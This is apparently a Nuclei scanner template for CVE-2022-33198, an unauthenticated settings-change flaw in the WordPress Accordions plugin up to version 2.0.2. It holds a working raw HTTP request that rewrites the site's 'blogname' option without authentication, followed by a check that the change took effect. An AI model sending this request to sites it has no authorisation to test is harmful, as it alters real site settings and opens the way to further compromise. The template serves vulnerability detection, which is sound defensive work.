id: CVE-2022-33198

info:
  name: WordPress Accordions  - Unauthenticated Settings Update
  author: riteshs4hu
  severity: critical
  description: |
    Unauthenticated WordPress Options Change vulnerability in Biplob Adhikari's Accordions plugin <= 2.0.2 at WordPress.
  impact: |
    Attackers can modify plugin options, potentially leading to site defacement, functionality disruption, or further exploitation.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://vdp.patchstack.com/database/wordpress/plugin/accordions-or-faqs/vulnerability/wordpress-accordions-plugin-2-0-2-unauthenticated-wordpress-options-change-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-33198
    - https://patchstack.com/database/vulnerability/accordions-or-faqs/wordpress-accordions-plugin-2-0-2-unauthenticated-wordpress-options-change-vulnerability
    - https://wordpress.org/plugins/accordions-or-faqs/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-33198
    cwe-id: CWE-264,NVD-CWE-Other
    epss-score: 0.03225
    epss-percentile: 0.86987
    cpe: cpe:2.3:a:oxilab:accordions:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: oxilab
    product: accordions
    framework: wordpress
  tags: cve2022,cve,wp-plugin,wp,wordpress,unauth,accordions,vuln,vkev
variables:
  marker: '{{rand_text_alpha(10, "abc")}}'

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-json/oxiaccordionsultimate/v1/oxi_settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        rawdata=%7B%22name%22%3A%22blogname%22%2C%22value%22%3A%22{{marker}}%22%7D

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "oxi-confirmation-success")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-json HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"name":"{{marker}}"'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ac3b928db85209628f91da594c749af2c741c27937d5ab600161bfac25884481022065e5b896ba92789067ecd9daf2c25482ceaa1033e271c90c39c93cde2dc055bd:922c64590222798bb761d5b6d8e72950